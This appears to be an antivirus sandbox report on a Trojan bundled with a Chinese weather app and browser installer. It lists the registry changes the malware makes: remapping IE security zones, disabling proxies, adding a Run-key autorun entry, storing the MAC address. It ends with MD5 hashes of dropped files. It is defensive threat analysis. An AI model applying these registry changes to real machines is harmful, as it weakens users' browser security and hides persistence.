
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\worldweather\5.0.0.5002]
"worldWeatherUpdate.5002.exe" = "天气预报升级核心"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BF 2A 97 12 A0 AE 25 AF 75 E8 94 21 60 E7 8F 4E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process worldWeatherUpdate.5002.exe:2896 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "53 21 C5 C1 17 8D 54 C2 04 DE FB 24 47 6F 13 AE"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process 365weatherIns_61.exe:408 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\worldweather]
"UninstallString" = "%Program Files%\worldweather\5.0.0.5002\uninst.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\worldweather.exe]
"index" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\365weatherIns_61.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\worldweather.exe]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\worldweather.exe]
"jieguo" = "mac=00-0C-29-8A-8B-37&soft_id=33&tuiguang_id=C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\365weatherIns_61.exe&yanzheng=318d97cc71dd4de571edddf8241ae5c0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\worldweather]
"DisplayIcon" = "%Program Files%\worldweather\5.0.0.5002\worldweather.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\worldweather.exe]
"mac" = "00-0C-29-8A-8B-37"

"(Default)" = "%Program Files%\worldweather\5.0.0.5002\worldweather.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\worldweather.exe]
"collection" = "%Documents and Settings%\%current user%\Favorites"
"menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\worldweather.exe]
"desk" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6D B8 5F 28 37 98 B9 A7 C4 46 72 83 47 4B 1F F9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\worldweather]
"URLInfoAbout" = "http://weather.22pk.cn/"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\worldweather]
"Publisher" = "´óÖÚÌìÆø¹¤×÷ÊÒ"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\worldweather]
"5.0.0.5002/worldWeatherRealTime5002.exe" = "worldWeatherRealTime5002.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\worldweather]
"DisplayVersion" = "5.0.0.5002"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\worldweather]
"DisplayName" = "´óÖÚÌìÆøÔ¤±¨ 5.0.0.5002"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"worldweather5002" = "%Program Files%\worldweather\5.0.0.5002\worldweather.exe /autorun"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process greendou.exe:772 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCR\CLSID\{0002DF01-0000-0000-C000-000000000046}\LocalServer32]
"(Default)" = "%Program Files%\Internet Explorer\IEXPLORE.EXE"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@shell32.dll,-12693" = "Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014051320140514]
"CacheOptions" = "11"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014051320140514]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014051320140514\"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014051320140514]
"CacheRepair" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "greendou.exe"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Disable Script Debugger" = "yes"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014051320140514]
"CacheLimit" = "8192"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1244086619"

[HKCU\Software\Gie]
"update2" = "2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "24 BF 3D E6 6D 66 76 3F 2B C6 4D 0F 9F ED 49 E4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014051320140514]
"CachePrefix" = ":2014051320140514:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014031720140318]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"

[HKLM\System\CurrentControlSet\Services\Tcpip\Performance]
"Error Count"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

The process %original file name%.exe:204 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Â̶¹ä¯ÀÀÆ÷]
"Publisher" = "ico10"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Â̶¹ä¯ÀÀÆ÷]
"DisplayName" = "Â̶¹ä¯ÀÀÆ÷ 1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6E 45 6C 84 01 24 A1 EF 38 59 8B 06 81 67 27 90"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Â̶¹ä¯ÀÀÆ÷]
"DisplayVersion" = "1.0.0.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The process worldWeatherRealTime5002.exe:2408 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C7 E5 65 15 80 2A F8 F7 B1 7A 66 3F C5 CD 04 09"

[HKCR\AppID\worldWeatherRTP.EXE]
"AppID" = "{C75ABB58-E428-4F54-A75E-39E1905088A4}"

[HKCR\AppID\{C75ABB58-E428-4F54-A75E-39E1905088A4}]
"LocalService" = "worldWeatherRealTime5002"
"(Default)" = "worldWeatherRTP"

The Trojan deletes the following value(s) in system registry:

[HKCR\AppID\{C75ABB58-E428-4F54-A75E-39E1905088A4}]
"LocalService"

Dropped PE files

MD5	File path
1eca983679d2f2760f15fc79a6a294ca	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\365weatherIns_61.exe
99f345cf51b6c3c317d20a81acb11012	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsr5.tmp\KillProcDLL.dll
e4ec95271ff1bcebab49bdfed6817a22	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsr5.tmp\SkinBtn.dll
00a0194c20ee912257df53bfe258ee4a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsr5.tmp\System.dll
50fdadda3e993688401f6f1108fabdb4	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsr5.tmp\inetc.dll
a7d710e78711d5ab90e4792763241754	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsr5.tmp\md5dll.dll
ab73c0c2a23f913eabdc4cb24b75cbad	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsr5.tmp\nsDialogs.dll
480f41c61ef59b1dbde50427b3d095b2	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsr5.tmp\nsWindows.dll
50fdadda3e993688401f6f1108fabdb4	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu2.tmp\Inetc.dll
a7d710e78711d5ab90e4792763241754	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu2.tmp\Md5dll.dll
a5f8399a743ab7f9c88c645c35b1ebb5	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu2.tmp\NSISdl.dll
c17103ae9072a06da581dec998343fc1	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu2.tmp\System.dll
9b54944ce476591d65288b0701a52c46	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu2.tmp\nsRandom.dll
0a4fa7a9ba969a805eb0603c7cfe3378	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu2.tmp\processwork.dll
76d2faad042161f24b6c9c78de3bd265	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsu2.tmp\xID.dll
0600be4459db030785c2d61ab8ea4de0	c:\Program Files\greeou\GreenDou.exe
1ec57595ea72f47d328acb5fa13aa6f9	c:\Program Files\worldweather\5.0.0.5002\AQI.5002.exe
af9dc00391e568586f6e045c0d80ec58	c:\Program Files\worldweather\5.0.0.5002\PM10.5002.exe
3ae2ae19da4de10a41f631e0cd59464d	c:\Program Files\worldweather\5.0.0.5002\PM25.5002.exe
f41b53208000678976ec71d4574dcfa3	c:\Program Files\worldweather\5.0.0.5002\mfc5002.dll
